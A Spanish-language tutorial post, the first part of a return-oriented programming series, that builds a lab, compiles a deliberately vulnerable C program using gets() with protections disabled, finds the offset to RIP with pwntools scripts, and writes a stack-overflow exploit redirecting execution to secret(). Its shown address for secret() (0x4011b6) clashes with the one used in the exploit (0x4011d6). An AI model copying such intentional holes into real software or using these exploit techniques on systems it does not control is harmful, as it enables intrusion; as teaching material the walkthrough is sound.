Taller ROP - Parte 1 (control RIP)

El Return-Oriented Programming (ROP) es una técnica de explotación que permite ejecutar código arbitrario sin inyectar nuevo código: en lugar de eso se encadenan pequeñas secuencias de instrucciones ya presentes en el binario o en sus librerías (los gadgets), cada una acabando en un ret —de ahí el nombre— para construir una especie de "programa" reutilizando código legítimo. En x86_64 se juega con la calling convention (rdi, rsi, rdx…) para preparar argumentos y con gadgets como pop rdi; ret, mov [rdi], rsi; ret o epílogos tipo leave; ret para pivotar la pila; combinando estas piezas puedes invocar funciones (p. ej. puts, system) o manipular registros/memoria incluso cuando la pila no es ejecutable (NX). 

Efectivamente, ROP nació como respuesta práctica a mitigaciones que impiden ejecutar shellcode en la pila, y por eso mismo los defensores han respondido con contramedidas (ASLR, PIE, canaries, RELRO, CFI) que complican construir cadenas fiables —pero entender los principios de ROP es esencial para auditar binarios, diseñar mitigaciones y, sí, resolver CTFs con estilo.

Este artículo es la Parte I de una serie corta, es técnico pero introductorio — perfecto si dominas Linux, C y algo de GDB, y quieres entender por qué el control de flujo importa antes de liarte con ret2libc y leaks de libc.

Lo que haremos es:

  • Montar un lab seguro (venv / contenedor).
  • Compilar un binario vulnerable vuln.c.
  • Provocar el crash, medir el offset hasta RIP.
  • Construir el primer payload: sobrescribir RIP y saltar a secret().

Advertencia ética y legal: todo lo aquí mostrado solo en VMs, contenedores o máquinas que controles. No lo uses contra sistemas ajenos.

Preparar laboratorio

Recomendado: usa un virtualenv para no tocar el Python del sistema.

sudo apt update
sudo apt install -y python3-venv build-essential gcc gdb

python3 -m venv ~/pwnenv
source ~/pwnenv/bin/activate
pip install --upgrade pip
pip install pwntools ropper ropgadget

O usa Docker si prefieres aislamiento completo (más abajo te dejo la idea para Docker).

Siempre: snapshot de la VM antes de empezar.

Código vulnerable (el juguete)

Guarda esto como vuln.c:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void secret() {
    printf("Has llegado a secret(): control total del flujo.\n");
    system("/bin/true");
}

void vuln() {
    char name[64];
    printf("Dame tu nombre: ");
    gets(name);           // vulnerabilidad intencional — solo laboratorio
    printf("Hola %s\n", name);
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    vuln();
    return 0;
}

Compila con mitigaciones desactivadas para practicar:

gcc vuln.c -o vuln -fno-stack-protector -no-pie -z execstack

Comprobación rápida:

readelf -h vuln | grep Type      # EXEC = no-PIE
  Type:                              EXEC (Executable file)
  
readelf -s vuln | grep secret    # dirección de secret()
    32: 00000000004011b6    41 FUNC    GLOBAL DEFAULT   15 secret

Provocar el crash y medir el offset

Queremos saber cuántos bytes llenan name y llegan hasta RIP. Pwntools tiene utilidades bonitas:

from pwn import *

p = process('./vuln')         # lanzar el binario
p.sendline(cyclic(300))       # inyectamos un patrón grande para overflow
p.wait()                      # esperamos que el programa crashee
core = p.corefile              # pwntools carga automáticamente el core dump
rip = core.rip
offset = cyclic_find(rip)
print(f"RIP = {hex(rip)}, offset = {offset}")

Ejecutamos con ulimit -c unlimited para que se genere core:

ulimit -c unlimited

Analicemos la salida:

[+] Starting local process './vuln': pid 13884
[*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 13884)
[!] Could not delete '/var/lib/apport/coredump/core._home_vis0r_Hackplayers_ROPLab_vuln.1000.836b139d-2559-4851-b23b-6a2d9c25dc91.13884.906377'
[+] Parsing corefile...: Done
[*] '/home/vis0r/Hackplayers/ROPLab/core.13884'
    Arch:      amd64-64-little
    RIP:       0x40122d
    RSP:       0x7ffef77be728
    Exe:       '/home/vis0r/Hackplayers/ROPLab/vuln' (0x400000)
    Fault:     0x6161617461616173
RIP = 0x40122d, offset = -1

  • RIP = 0x40122d: el process estaba ejecutando una instrucción dentro del binario cuando ocurrió el SIGSEGV. No significa que RIP estuviera sobrescrito por la cadena cyclic(...).
  • Fault = 0x6161617461616173 → esa es la dirección que el proceso intentó acceder y que provocó el segfault. Es un valor formado de bytes ASCII (0x61 = 'a', etc.) => claramente proviene de la entrada que enviaste (el patrón cyclic(...)).
  • En muchos desbordamientos sencillos el RIP queda reemplazado por parte del patrón: entonces cyclic_find(core.rip) funciona. Aquí el crash ocurrió por desreferenciar (p. ej. mov eax, [rax]) una dirección controlada por el atacante; por eso la huella del patrón está en la fault o en la pila, no en RIP.

Conclusión: tenemos que buscar el patrón en otros lugares (fault value, RSP, memoria stack), no en core.rip.

Para ello, vamos a lanzar otro script un poco más completo con varias heurísticas:

#!/usr/bin/env python3
# find_offset_heuristic.py
from pwn import *
import sys

exe = './vuln'
pat_len = 300

# 1) Generamos patrón y hacemos crashear el binario
p = process(exe)
p.sendline(cyclic(pat_len))
p.wait()

core = p.corefile
print("[*] Core parsed:", core)
print("[*] RIP:", hex(core.rip))
print("[*] RSP:", hex(core.rsp))
# core.fault puede no existir en algunas versiones; usamos getattr con fallback
fault = getattr(core, 'fault', None)
print("[*] Fault addr:", hex(fault) if fault else "None")

# 2) Heurística A: intentar cyclic_find sobre core.fault (si hay)
if fault:
    try:
        off = cyclic_find(fault)
        print("[+] offset from core.fault: %d" % off)
    except Exception as e:
        print("[-] cyclic_find(core.fault) failed:", e)

# 3) Heurística B: leer 8 bytes en RSP, RSP+8, RSP+16 y probar cada uno
for i in range(0, 64, 8):
    try:
        q = u64(core.read(core.rsp + i, 8))
    except Exception as e:
        print(f"[-] read(core.rsp+{i}): {e}")
        continue
    try:
        off = cyclic_find(q)
        print("[+] offset from stack @ RSP+%d (value=%#x): %d" % (i, q, off))
        break
    except Exception:
        print("    checked RSP+%d value %#x -> not found in pattern" % (i, q))

# 4) Heurística C: buscar el patrón raw dentro de la región de stack (scan)
try:
    # leemos 1000 bytes desde RSP (ajusta si tu stack es mayor)
    data = core.read(core.rsp, 1000)
    pattern = cyclic(pat_len)
    pos = data.find(pattern[:200])  # buscar porción significativa
    if pos != -1:
        # cálculo de offset aproximado => distancia desde el inicio del pattern hasta el RIP overwrite
        print("[+] Found pattern fragment in stack at offset %d from RSP" % pos)
        # Si el fragmento empieza en RSP+pos, y asumimos que buffer empezaba en RSP+X,
        # una manera práctica es usar cyclic_find sobre los 8 bytes encontrados
        slice8 = u64(data[pos:pos+8])
        try:
            off = cyclic_find(slice8)
            print("[+] cyclic_find on that 8-byte slice -> offset = %d" % off)
        except Exception:
            print("[-] cyclic_find on slice failed")
    else:
        print("[-] pattern fragment not found in stack region (RSP..RSP+1000)")
except Exception as e:
    print("[-] stack scan failed:", e)

print("[*] Done.")

  • Este script intentará (en orden): cyclic_find(core.fault) — útil cuando la falla fue por desreferenciar dirección controlada. 
  • Leer valores de 8 bytes desde RSP, RSP+8, RSP+16 y probar cyclic_find sobre esos valores (común cuando el saved RIP está en la pila).  
  • Buscar fragmentos del patrón en la región de la pila (lectura de 1000 bytes desde RSP) y usar cyclic_find en la porción encontrada.

Lanzamos el script:

$ chmod +x find_offset_heuristic.py

./find_offset_heuristic.py
[+] Starting local process './vuln': pid 14031
[*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 14031)
[!] Could not delete '/var/lib/apport/coredump/core._home_vis0r_Hackplayers_ROPLab_vuln.1000.836b139d-2559-4851-b23b-6a2d9c25dc91.14031.964594'
[+] Parsing corefile...: Done
[*] '/home/vis0r/Desktop/Hackplayers/ROPLab/core.14031'
    Arch:      amd64-64-little
    RIP:       0x40122d
    RSP:       0x7ffd0e67cd18
    Exe:       '/home/vis0r/Hackplayers/ROPLab/vuln' (0x400000)
    Fault:     0x6161617461616173
[*] Core parsed: Corefile('/home/vis0r/Hackplayers/ROPLab/core.14031')
[*] RIP: 0x40122d
[*] RSP: 0x7ffd0e67cd18
[*] Fault addr: None
[!] cyclic_find() expected an integer argument <= 0xffffffff, you gave 0x6161617461616173
    Unless you specified cyclic(..., n=8), you probably just want the first 4 bytes.
    Truncating the data at 4 bytes.  Specify cyclic_find(..., n=8) to override this.
[+] offset from stack @ RSP+0 (value=0x6161617461616173): 72
[-] pattern fragment not found in stack region (RSP..RSP+1000)
[*] Done.

¡Ya tenemos el offset: 72

  • RIP: 0x40122d — la instrucción que se estaba ejecutando cuando ocurrió el SIGSEGV.
  • RSP: 0x7ffd0e67cd18 — la cima de la pila en ese momento.
  • Fault: 0x6161617461616173 — el valor que provocó la violación de memoria (proviene del patrón: 0x61 = 'a').
  • Mensaje: offset from stack @ RSP+0 (value=0x6161617461616173): 72 — ésta es la información útil: leyendo 8 bytes en RSP encontramos un valor que contiene bytes del patrón y cyclic_find(...) nos dijo que corresponde al offset 72.

La explicación es que el crash fue por desreferenciar o usar un puntero controlado por tu input (el fault), no porque RIP fuera directamente sobrescrito por el patrón. Por eso cyclic_find(core.rip) devolvía -1 antes. Pero al escanear la pila (RSP) sí encontramos el patrón y por tanto el offset correcto.

También apareció la alerta de pwntools: cyclic_find asume por defecto 4 bytes (n=4). Como le pasamos un valor de 8 bytes (0x6161617461616173), pwntools truncó y nos avisó. No es un problema: dejó claro que debemos usar cyclic_find(val, n=8) si queremos forzar 8 bytes. Es decir, ka heurística del script ya nos dio el offset correcto.

Redirigir RIP a secret()

Primero debemos obtener la dirección de secret():

$ readelf -s vuln | grep secret
    32: 00000000004011b6    41 FUNC    GLOBAL DEFAULT   15 secret
Así que con el offset que hemos sacado antes de 72 es bastante sencillo crear un payload directo:

# exploit_secret.py
from pwn import *
exe = ELF('./vuln')
offset = 72
secret = 0x4011d6

p = process('./vuln')
p.sendlineafter("Dame tu nombre: ", b"A"*offset + p64(secret))
p.interactive()

Cuando vuln() hace ret, el procesador toma lo que está en la cima de la pila (RSP) y lo pone en RIP.

Como en la cima de la pila pusimos 0x4011d6 (dirección de secret()), el ret salta a secret(). Esto significa: hemos reemplazado el valor de retorno de vuln() por la dirección de secret() y por tanto controlamos RIP.

Lo podemos ver también en el depurador:

$ gdb -q ./vuln
Reading symbols from ./vuln...

This GDB supports auto-downloading debuginfo from the following URLs:
  <https://debuginfod.ubuntu.com>
Enable debuginfod for this session? (y or [n]) y
Debuginfod has been enabled.
To make this setting permanent, add 'set debuginfod enabled on' to .gdbinit.
(No debugging symbols found in ./vuln)
(gdb) set disassembly-flavor intel
(gdb) break secret
Breakpoint 1 at 0x4011be
(gdb) run < <(python3 -c "from pwn import *; import sys; sys.stdout.buffer.write(b'A'*72 + p64(0x4011d6))")
Starting program: /home/vis0r/Hackplayers/ROPLab/vuln < <(python3 -c "from pwn import *; import sys; sys.stdout.buffer.write(b'A'*72 + p64(0x4011d6))")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Dame tu nombre: Hola RRRRR�@

Program received signal SIGILL, Illegal instruction.
0x00000000004011d6 in secret ()

Con esto queda demostrado que controlamos RIP.

El SIGILL no indica fallo conceptual: indica que la ejecución real encontró bytes inesperados, lo cual es normal en estas demos sin gadgets adicionales ni stack limpio.

El paso fundamental de un ROP moderno se completó: desde crash hasta control de RIP → ahora podemos encadenar gadgets o llamar funciones como secret() con argumentos correctos para seguir escalando.

En el siguiente artículo de esta serie veremos cómo avanzar hacia un ROP completo ;)

Comentarios